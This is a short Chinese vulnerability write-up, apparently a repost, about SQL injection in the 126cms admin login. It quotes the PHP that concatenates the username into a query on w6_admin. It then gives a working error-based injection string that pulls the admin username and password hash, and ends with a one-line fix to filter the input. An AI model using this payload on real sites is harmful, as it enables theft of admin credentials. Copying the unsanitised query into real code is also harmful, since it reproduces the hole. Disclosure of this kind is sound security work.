看代码。。
01 ……若干……
02 if( !$postdb["userid"] || !$postdb["pwd"] )
03 {
04 echo "<div align=\"center\" class=\"style1\">";
05 echo "您输入的用户名或密码有误！!!";
06 echo "</div>";
07 exit;
08 }
09 www.2cto.com
10 $postdb["pwd"]=md5($postdb["pwd"]);
11
12
13 $query="SELECT * FROM `w6_admin` WHERE `userid` ='".$postdb["userid"]."'"; //你懂的
14
15 $result= mysql _query($query) or die("Could not connect: " . mysql_error());
16
17 $num = mysql_num_rows($result);
18
19 if( $num == 0 )
20 {
21 echo "<div align=\"center\" class=\"style1\">";
22 echo "您输入的用户名或密码有误！!!";
23 echo "</div>";
24 exit;
25 }
26
27 $_pwd = stripslashes(mysql_result($result,"0","pwd"));
28 $gptype = stripslashes(mysql_result($result,"0","gptype"));
29 $adminid = stripslashes(mysql_result($result,"0","id"));
30 ……若干……
测试方法p:
在后台登陆的用户名输入
' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,w6_admin.userid,0x27,0x7e,w6_admin.pwd) from w6_admin limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1'/*
from :土司 作者Cond0r
修复 过滤该处输入
查看更多关于126cms后台登陆注入漏洞及修复 - 网站安全 - 自学的详细内容...